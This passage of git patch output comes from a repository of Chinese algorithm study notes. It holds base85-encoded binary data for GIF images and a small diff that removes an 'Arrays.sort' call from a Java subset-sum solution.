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

literal 0
HcmV?d00001


From 4643cdcc9fd3bba82c62d5b0f68481bc90265895 Mon Sep 17 00:00:00 2001
From: aaaaaabiao <736813089@qq.com>
Date: Fri, 25 Jan 2019 11:53:01 +0800
Subject: [PATCH 042/100] =?UTF-8?q?Update=20Leetcode=20=E9=A2=98=E8=A7=A3.?=
 =?UTF-8?q?md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 docs/notes/Leetcode 题解.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 9310948f..25e0b079 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -3050,7 +3050,6 @@ public boolean canPartition(int[] nums) {
     int W = sum / 2;
     boolean[] dp = new boolean[W + 1];
     dp[0] = true;
-    Arrays.sort(nums);
     for (int num : nums) {                 // 0-1 背包一个物品只能用一次
         for (int i = W; i >= num; i--) {   // 从后往前，先计算 dp[i] 再计算 dp[i-num]
             dp[i] = dp[i] || dp[i - num];

From 456be4fa679f837cbffec630b93dd8e5d91634f7 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 26 Jan 2019 19:41:06 +0800
Subject: [PATCH 043/100] auto commit

---
 .../pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-1.gif   | Bin 0 -> 6144 bytes
 ...D_u5EFA_u4E8C_u53C9_u6811-21548502782193.gif | Bin 0 -> 23552 bytes
 docs/notes/剑指 offer 题解.md                   |   4 +++-
 docs/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-1.gif  | Bin 0 -> 6144 bytes
 ...D_u5EFA_u4E8C_u53C9_u6811-21548502782193.gif | Bin 0 -> 23552 bytes
 5 files changed, 3 insertions(+), 1 deletion(-)
 create mode 100644 docs/notes/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-1.gif
 create mode 100644 docs/notes/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-21548502782193.gif
 create mode 100644 docs/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-1.gif
 create mode 100644 docs/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-21548502782193.gif

diff --git a/docs/notes/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-1.gif b/docs/notes/pics/_u91CD_u5EFA_u4E8C_u53C9_u6811-1.gif
new file mode 100644
index 0000000000000000000000000000000000000000..a6552b51fd6a261bcc71e285d8d65ff6525e04b4
GIT binary patch
literal 6144
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
